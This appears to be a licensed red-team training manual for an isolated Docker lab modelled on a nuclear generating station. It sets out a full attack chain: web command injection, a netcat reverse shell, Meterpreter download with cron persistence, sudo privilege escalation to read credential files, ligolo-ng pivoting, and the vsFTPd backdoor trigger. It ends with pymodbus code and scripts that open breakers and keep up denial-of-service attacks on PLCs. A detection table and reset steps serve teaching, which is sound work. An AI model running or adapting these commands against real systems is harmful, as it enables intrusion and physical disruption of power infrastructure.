OT / ICS SECURITY TRAINING MANUAL

Meridian Nuclear Generating Station

Full Attack Path Guide

ISSUED EXCLUSIVELY FOR

KRISTU JAYANTI UNIVERSITY

Licensed training material - not for public redistribution, resale, or republication.

Training Environment Only - Isolated Docker lab. No real OT/ICS systems involved.

© 2026 OTSecPro. All rights reserved.

OTSecPro - KRISTU JAYANTI UNIVERSITY - LICENSED COPY

Meridian Nuclear Generating Station — Full Attack Path Guide

Training Environment Only — Isolated Docker lab, no real OT/ICS systems involved. All credentials and data are fictional.

Lab Topology (Purdue Model)

Level: L4/5 | **Network:** Enterprise | **CIDR:** 172.30.10.0/24 | **Hosts:** Kali Attacker (172.30.10.50), Webapp Portal (172.30.10.10)

Level: L3.5 | **Network:** DMZ | **CIDR:** 172.30.20.0/24 | **Hosts:** Jumphost/SSH Relay (172.30.20.10), DMZ Gateway (172.30.20.20)

Level: L3 | **Network:** Supervisory | **CIDR:** 172.30.30.0/24 | **Hosts:** Fileserver (172.30.30.10), SCADA Historian (172.30.30.20), HMI (172.30.30.30)

Level: L1/2 | **Network:** Control | **CIDR:** 172.30.40.0/24 | **Hosts:** PLC Turbine (172.30.40.10), PLC Switchyard (172.30.40.11)

Level: — | **Network:** All | **CIDR:** — | **Hosts:** Firewall (gateway .254 each segment)

Firewall Rules (Intentional Misconfig in Bold):

- Enterprise → DMZ: SSH to Jumphost (172.30.20.10:22)

- DMZ → Supervisory: ICMP, FTP (21), Backdoor shell (6200), Custom (8000), HMI web (8080)

- Supervisory → Control: **SCADA (30.20) Modbus/TCP 502**, **HMI (30.30) Modbus/TCP 502**, **Fileserver (30.10) Modbus/TCP 502 ← MISCONFIG**

Attack Chain Overview

```
Kali (Enterprise)
   | 1. Webapp RCE (command injection) + Meterpreter persistence
   ▼
Webapp (john user) ── sudo python3 privesc ──► Read /root/.meridian-jump.conf
   |
   ▼ 2. SSH with harvested creds
Jumphost (DMZ) ── ligolo-ng agent ──► Pivot to Supervisory/Control
   |
   ▼ 3. Fileserver FTP backdoor (USER :))
Fileserver ── Asset Inventory ──► PLC IPs, Topology
   |
   ▼ 4. Direct PLC Modbus (firewall misconfig) + Persistent DoS
PLC Turbine / PLC Switchyard ──► Read/Write registers & coils
   |
   ▼ 5. HMI Verification
HMI Web UI ──► Live state reflects PLC changes
```

OTSecPro - KRISTU JAYANTI UNIVERSITY - LICENSED COPY

© 2026 OTSecPro | Issued exclusively for KRISTU JAYANTI UNIVERSITY | Licensed training copy

Prerequisites

- Kali container running with KasmVNC at https://localhost:6901/ (password: meridian)

- All lab containers healthy: docker ps --filter name=meridian-

- ligolo-ng pre-installed in Kali at /usr/local/bin/ligolo-proxy and /usr/local/bin/ligolo-agent

- Attack tools in ~/tools/: read_plc_state.py, modbus_attack_tools.py, persistent_attack.py, ftp_backdoor.py, ligolo-agent

---

Step 1 — Initial Foothold: Webapp Command Injection + Persistence

Target: http://172.30.10.10:8080/work-order

Vulnerability: Unsafely shells user input in note parameter

1.1 Verify Command Injection

```
# From Kali terminal (via KasmVNC web desktop)
curl -s -X POST 'http://172.30.10.10:8080/work-order' \\
  -H 'Content-Type: application/x-www-form-urlencoded' \\
  --data 'note=test;id'
```

Expected output: Command executes as john user:

```
Work order logged: test;id
uid=1000(john) gid=1000(john) groups=1000(john)
```

1.2 Reverse Shell (Interactive)

```
# On Kali: Start listener FIRST
nc -lnvp 9001
# Trigger reverse shell via command injection
curl -X POST 'http://172.30.10.10:8080/work-order' \\
  --data 'note=test;nc 172.30.10.50 9001 -e /bin/sh'
```

1.3 Meterpreter Payload (Persistence)

```
# On Kali: Generate payloads (already in ~/tools/)
# msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=172.30.10.50 LPORT=4443 -f elf > meterpreter.elf
# msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=172.30.10.50 LPORT=4444 -f elf -o meterpreter
# On Kali: Start Metasploit handler
msfconsole -q -x "
  use exploit/multi/handler
  set PAYLOAD linux/x64/meterpreter/reverse_tcp
  set LHOST 172.30.10.50
  set LPORT 4444
  run -j
"
```

OTSecPro - KRISTU JAYANTI UNIVERSITY - LICENSED COPY

© 2026 OTSecPro | Issued exclusively for KRISTU JAYANTI UNIVERSITY | Licensed training copy

```
# On Webapp (via injection or shell): Download and execute
wget http://172.30.10.50:8000/meterpreter -O /tmp/meterpreter
chmod +x /tmp/meterpreter
/tmp/meterpreter &
# Persistence via cron
(crontab -l 2>/dev/null; echo "* * * * * /tmp/meterpreter") | crontab -
```

1.4 ligolo-agent on Webapp (Pivot to DMZ)

```
# On Webapp: Download ligolo-agent from Kali HTTP server
wget http://172.30.10.50:8000/ligolo-agent -O /tmp/ligolo-agent
chmod +x /tmp/ligolo-agent
# Connect to Kali proxy (port 11601)
/tmp/ligolo-agent -connect 172.30.10.50:11601 -ignore-cert
```

Step 2 — Privilege Escalation: Sudo Python3

Finding: john has passwordless sudo for /usr/local/bin/python3 (configured in webapp Dockerfile)

```
# From webapp shell (or via injection), read the jump host config
sudo /usr/local/bin/python3 -c "print(open('/root/.meridian-jump.conf').read())"
```

Output (fake training credentials):

```
# TRAINING-ONLY FAKE CREDENTIAL — Meridian Nuclear Generating Station
JUMPHOST_USER=relay
JUMPHOST_PASSWORD=MeridianRelay!2026
JUMPHOST_HOST=172.30.20.10
```

Alternative: Root shell

```
sudo /usr/local/bin/python3 -c "import os; os.execl('/bin/sh','sh')"
```

Step 3 — Lateral Movement: SSH to Jumphost (DMZ)

```
# From Kali (now routed via firewall)
ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null \\
  relay@172.30.20.10
# Password: MeridianRelay!2026
```

Verify access:

```
whoami && hostname
# relay
# meridian-jumphost
```

OTSecPro - KRISTU JAYANTI UNIVERSITY - LICENSED COPY

© 2026 OTSecPro | Issued exclusively for KRISTU JAYANTI UNIVERSITY | Licensed training copy

Step 4 — Kali Network Setup: TUN Interfaces & Routes

Run on Kali **before** starting ligolo-proxy:

```
# Create TUN interfaces for each network segment
ip tuntap add user root mode tun ligolo
sudo ip link set ligolo up
sudo ip route add 172.30.20.0/24 dev ligolo
ip tuntap add user root mode tun jumphost-ot
sudo ip link set jumphost-ot up
sudo ip route add 172.30.30.0/24 dev jumphost-ot
ip tuntap add user root mode tun ot-mgmt
sudo ip link set ot-mgmt up
sudo ip route add 172.30.40.0/24 dev ot-mgmt
# Verify routes
ip route
```

Step 5 — ligolo-ng Proxy on Kali (Attacker)

```
# On Kali, in a terminal tab
ligolo-proxy -selfcert -laddr 0.0.0.0:11601
```

Output: Proxy listening on 0.0.0.0:11601, web UI at https://127.0.0.1:11601 (optional)

Step 6 — Deploy ligolo-agent on Jumphost (Pivot)

```
# On Jumphost (via SSH session)
ligolo-agent -connect 172.30.10.50:11601 -ignore-cert
```

Back on Kali proxy: You'll see a new session. Select it:

```
ligolo-proxy » session 1
[Session 1] » ifconfig
```

Expected interfaces on Jumphost:

- eth0 — 172.30.20.10/24 (DMZ)

- eth1 — 172.30.20.20/24 (DMZ secondary)

6.1 Add Listeners on Jumphost Agent

```
# In ligolo-proxy session 1 (jumphost agent)
[Session 1] » listener_add --addr 0.0.0.0:8000 --to 172.30.20.20:8000
[Session 1] » listener_add --addr 0.0.0.0:5000 --to 172.30.20.20:5000
[Session 1] » listener_list
```

6.2 Add Routes Through the Tunnel

```
# On Kali proxy session 1
```

© 2026 OTSecPro | Issued exclusively for KRISTU JAYANTI UNIVERSITY | Licensed training copy

```
[Session 1] » route add 172.30.30.0/24 172.30.20.10
[Session 1] » route add 172.30.40.0/24 172.30.20.10
```

6.3 Start TUN Tunnels

```
# In ligolo-proxy session 1
[Session 1] » tunnel_start --tun jumphost-ot
[Session 1] » tunnel_start --tun ot-mgmt
```

Verify connectivity from Kali:

```
ping -c 2 172.30.30.10   # Fileserver
ping -c 2 172.30.30.20   # SCADA Historian
ping -c 2 172.30.40.10   # PLC Turbine
ping -c 2 172.30.40.11   # PLC Switchyard
```

Step 7 — Fileserver Exploitation (Supervisory)

7.1 FTP Service Enumeration

```
# From Kali (via ligolo tunnel)
nmap -p 21 172.30.30.10
# Port 21 open — vsFTPd 2.3.4 banner (simulated)
```

7.2 FTP Backdoor (vsFTPd 2.3.4 Analogue)

```
# Connect to FTP
ftp 172.30.30.10
# Username: :)        ← Triggers backdoor
# Password: anything
# Backdoor spawns shell on port 6200
nc 172.30.30.10 6200
```

Alternative via Python (scriptable):

```
python3 -c "
import socket
s = socket.socket()
s.connect(('172.30.30.10', 21))
s.recv(1024)
s.send(b'USER :)\r\n')
s.recv(1024)
s.send(b'PASS x\r\n')
s.close()
# Backdoor on 6200
import subprocess
subprocess.run(['nc', '172.30.30.10', '6200'])
```

OTSecPro - KRISTU JAYANTI UNIVERSITY - LICENSED COPY

© 2026 OTSecPro | Issued exclusively for KRISTU JAYANTI UNIVERSITY | Licensed training copy

```
"
```

7.3 Retrieve Asset Inventory

```
# On fileserver shell (port 6200)
cat /srv/engineering/asset_inventory.json | python3 -m json.tool
```

Key findings:

- PLC Turbine: 172.30.40.10:502 (Modbus/TCP)

- PLC Switchyard: 172.30.40.11:502 (Modbus/TCP)

- SCADA polls both PLCs every 2s

- HMI at 172.30.30.30:8080

7.4 ligolo-agent on Fileserver (Deeper Pivot)

```
# On Fileserver: Download ligolo-agent from Jumphost listener (port 8001)
wget http://172.30.20.10:8001/ligolo-agent -O /tmp/ligolo-agent
chmod +x /tmp/ligolo-agent
# Connect to Jumphost listener (port 5000)
/tmp/ligolo-agent -connect 172.30.20.10:5000 -ignore-cert
```

On Kali proxy: New session appears (session 2). Select and add routes:

```
ligolo-proxy » session 2
[Session 2] » ifconfig
[Session 2] » route add 172.30.40.0/24 172.30.30.10
```

Step 8 — Direct PLC Modbus Access (Firewall Misconfig)

The Misconfig: Firewall rule allows 172.30.30.10 (fileserver) → 172.30.40.0/24:502

Only SCADA (30.20) and HMI (30.30) should have this access.

8.1 Read PLC State (using attack tools)

```
# From Kali (via ligolo tunnel)
cd ~/tools
python3 read_plc_state.py
```

Or using lab's native Modbus client (works from any Supervisory host):

```
python3 -c "
import sys
sys.path.insert(0, '.')
from common.modbus import read_state
print('TURBINE:', read_state('172.30.40.10'))
print('SWITCHYARD:', read_state('172.30.40.11'))
"
```

OTSecPro - KRISTU JAYANTI UNIVERSITY - LICENSED COPY

© 2026 OTSecPro | Issued exclusively for KRISTU JAYANTI UNIVERSITY | Licensed training copy

8.2 Manipulate PLC State (Red Team)

```
# OPEN Generator Breaker (stops generation)
python3 -c "
from pymodbus.client import ModbusTcpClient
c = ModbusTcpClient('172.30.40.10', port=502)
c.connect()
c.write_coil(0, False)  # Generator breaker OPEN
print('Breaker opened. MW now:', c.read_holding_registers(0, 1).registers[0])
c.close()
"
# CLOSE Grid Breaker (isolates from grid)
python3 -c "
from pymodbus.client import ModbusTcpClient
c = ModbusTcpClient('172.30.40.11', port=502)
c.connect()
c.write_coil(0, False)  # Grid breaker OPEN
print('Grid breaker opened. Flow:', c.read_holding_registers(0, 1).registers[0])
c.close()
"
```

8.3 Persistent DoS Attacks (Prevents Operator Recovery)

```
# Persistent blackout - holds ALL breakers OPEN
python3 persistent_attack.py blackout 0.5
# Load oscillation - mechanical stress
python3 persistent_attack.py load 0.3
# Frequency attack - generator breaker cycling
python3 persistent_attack.py frequency 0.2
# Voltage/tap attack - transformer instability
python3 persistent_attack.py voltage 0.5
# COMBINED - ALL vectors simultaneously (recovery IMPOSSIBLE)
python3 persistent_attack.py combined 0.3
```

8.4 Verify on HMI (Blue Team / Validation)

Access HMI: http://172.30.30.30:8080 (via ligolo tunnel or Kali browser)

API endpoint for programmatic checks:

```
curl -s http://172.30.30.30:8080/api/state | python3 -m json.tool
```

Expected HMI changes after breaker manipulation:

- Generator breaker: Green (closed) → Red (open)

- MW output: ~588 → 0

OTSecPro - KRISTU JAYANTI UNIVERSITY - LICENSED COPY

© 2026 OTSecPro | Issued exclusively for KRISTU JAYANTI UNIVERSITY | Licensed training copy

- Frequency: ~60 Hz → 59.8 Hz (underspeed drift)

- Grid flow: ~700 MW → 0

- Alarm banner: "Generator Breaker Open", "Frequency Deviation"

Step 9 — HMI Operator Controls (Optional)

From HMI web UI or API:

```
# Close generator breaker via HMI API
curl -s -X POST http://172.30.30.30:8080/api/control \\
  -H 'Content-Type: application/json' \\
  -d '{"target": "generator_breaker", "value": true}'
# Adjust load setpoint
curl -s -X POST http://172.30.30.30:8080/api/control \\
  -H 'Content-Type: application/json' \\
  -d '{"target": "load_setpoint", "value": 800}'
```

Complete Attack Script (Automation)

```
#!/usr/bin/env bash
# full_attack_chain.sh — Run from Kali terminal
set -euo pipefail
KALI_IP="172.30.10.50"
WEBAPP="172.30.10.10:8080"
JUMPHOST="172.30.20.10"
FILESERVER="172.30.30.10"
PLC_TURBINE="172.30.40.10"
PLC_SWITCHYARD="172.30.40.11"
HMI="172.30.30.30:8080"
echo "[+] Step 1: Webapp RCE"
curl -s -X POST "http://$WEBAPP/work-order" \\
  --data 'note=test;id' | grep -o "uid=[0-9]*"
echo "[+] Step 2: Privesc & cred harvest"
CREDS=$(docker exec meridian-webapp sudo /usr/local/bin/python3 -c "print(open('/root/.meridian-jump.conf').read())")
echo "$CREDS"
echo "[+] Step 3: SSH to Jumphost"
sshpass -p 'MeridianRelay!2026' ssh -o StrictHostKeyChecking=no relay@$JUMPHOST 'hostname'
echo "[+] Step 4: ligolo-ng pivot (manual - run in separate terminals)"
echo "    Kali:    ligolo-proxy -selfcert -laddr 0.0.0.0:11601"
echo "    Jumphost: ligolo-agent -connect $KALI_IP:11601 -ignore-cert"
```

OTSecPro - KRISTU JAYANTI UNIVERSITY - LICENSED COPY

© 2026 OTSecPro | Issued exclusively for KRISTU JAYANTI UNIVERSITY | Licensed training copy

```
echo "    Proxy:   session 1 -> listener_add --addr 0.0.0.0:8000 --to 172.30.20.20:8000"
echo "    Proxy:   session 1 -> listener_add --addr 0.0.0.0:5000 --to 172.30.20.20:5000"
echo "    Proxy:   session 1 -> route add 172.30.30.0/24 172.30.20.10"
echo "    Proxy:   session 1 -> route add 172.30.40.0/24 172.30.20.10"
echo "    Proxy:   session 1 -> tunnel_start --tun jumphost-ot"
echo "    Proxy:   session 1 -> tunnel_start --tun ot-mgmt"
echo "[+] Step 5: Fileserver FTP backdoor"
echo "    ftp $FILESERVER"
echo "    USER :)  PASS x"
echo "    nc $FILESERVER 6200"
echo "    cat /srv/engineering/asset_inventory.json"
echo "[+] Step 6: Fileserver ligolo-agent"
echo "    wget http://172.30.20.10:8001/ligolo-agent"
echo "    chmod +x ligolo-agent"
echo "    ./ligolo-agent -connect 172.30.20.10:5000 -ignore-cert"
echo "[+] Step 7: Direct PLC Modbus (misconfig) + Persistent DoS"
echo "    python3 ~/tools/read_plc_state.py"
echo "    python3 ~/tools/persistent_attack.py combined 0.3"
echo "[+] Step 8: Verify on HMI"
echo "    curl -s http://$HMI/api/state | python3 -m json.tool"
```

Blue Team Detection Opportunities

Stage: Webapp RCE | **Detection:** WAF/logs: note param contains ;, |, &, $(, backticks

Stage: Privesc | **Detection:** sudo logs: john running python3 as root reading /root/.meridian-jump.conf

Stage: Meterpreter | **Detection:** Unusual outbound TLS on 4444, cron persistence, meterpreter process

Stage: SSH to Jumphost | **Detection:** Auth logs: relay login from 172.30.10.50 (Kali) or 172.30.10.10 (webapp)

Stage: ligolo-ng | **Detection:** Unusual TLS on 11601, new TUN interfaces, routes to OT networks

Stage: FTP Backdoor | **Detection:** FTP logs: USER :) followed by connection to port 6200

Stage: Fileserver pivot | **Detection:** ligolo-agent on 172.30.30.10 connecting to 172.30.20.10:5000

Stage: PLC Modbus | **Detection:** Unexpected Modbus/TCP from 172.30.30.10 (fileserver) to PLCs

Stage: Persistent DoS | **Detection:** Rapid coil/register writes, breakers flickering, alarm floods

Stage: HMI Alarms | **Detection:** "Generator Breaker Open", "Frequency Deviation", "Voltage Instability", "Breaker Position Mismatch"

Cleanup / Reset

```
# Stop ligolo proxy/agent
pkill -f ligolo-proxy
pkill -f ligolo-agent
```

OTSecPro - KRISTU JAYANTI UNIVERSITY - LICENSED COPY

© 2026 OTSecPro | Issued exclusively for KRISTU JAYANTI UNIVERSITY | Licensed training copy

```
# Stop persistent attacks
pkill -f persistent_attack.py
# Remove meterpreter persistence
crontab -r
# Restore PLC state (close breakers)
curl -s -X POST http://172.30.30.30:8080/api/control \\
  -H 'Content-Type: application/json' \\
  -d '{"target": "generator_breaker", "value": true}'
curl -s -X POST http://172.30.30.30:8080/api/control \\
  -H 'Content-Type: application/json' \\
  -d '{"target": "grid_breaker", "value": true}'
# Full lab reset
docker compose down && docker compose up -d
```

Appendix: Modbus Register Map

PLC Turbine (172.30.40.10:502)

Register/Coil: Coil 0 | **Type:** R/W | **Description:** Generator Breaker | **Values:** 0=Open, 1=Closed

Register/Coil: Holding 0 | **Type:** R | **Description:** MW Output | **Values:** 0-1000 (MW)

Register/Coil: Holding 1 | **Type:** R | **Description:** Frequency ×100 | **Values:** 5980-6020 (59.80-60.20 Hz)

Register/Coil: Holding 2 | **Type:** R | **Description:** RPM | **Values:** 1500-1800

Register/Coil: Holding 3 | **Type:** R | **Description:** Excitation % | **Values:** 0-100

PLC Switchyard (172.30.40.11:502)

Register/Coil: Coil 0 | **Type:** R/W | **Description:** Grid Breaker | **Values:** 0=Open, 1=Closed

Register/Coil: Coil 1 | **Type:** R/W | **Description:** Bus Tie Breaker | **Values:** 0=Open, 1=Closed

Register/Coil: Coil 2 | **Type:** R/W | **Description:** Feeder A | **Values:** 0=Open, 1=Closed

Register/Coil: Coil 3 | **Type:** R/W | **Description:** Feeder B | **Values:** 0=Open, 1=Closed

Register/Coil: Holding 0 | **Type:** R | **Description:** Grid Flow (MW) | **Values:** -1000 to +1000

Register/Coil: Holding 1 | **Type:** R | **Description:** Line Voltage (kV) | **Values:** 490-510

Register/Coil: Holding 2 | **Type:** R | **Description:** Line Frequency ×100 | **Values:** 5980-6020

Register/Coil: Holding 3 | **Type:** R | **Description:** Transformer Tap | **Values:** 1-17

References

- **ligolo-ng:** https://github.com/nicocha30/ligolo-ngX

- **Modbus/TCP:** IEC 61158, pyModbus docs

- **Purdue Model:** ISA-95 / IEC 62443

- **vsFTPd 2.3.4 backdoor:** CVE-2011-2523 (simulated)

© 2026 OTSecPro | Issued exclusively for KRISTU JAYANTI UNIVERSITY | Licensed training copy

- **Metasploit Meterpreter:** https://github.com/rapid7/metasploit-framework

Document generated for OTSecPro training lab. All systems, credentials, and data are fictional.

OTSecPro - KRISTU JAYANTI UNIVERSITY - LICENSED COPY

© 2026 OTSecPro | Issued exclusively for KRISTU JAYANTI UNIVERSITY | Licensed training copy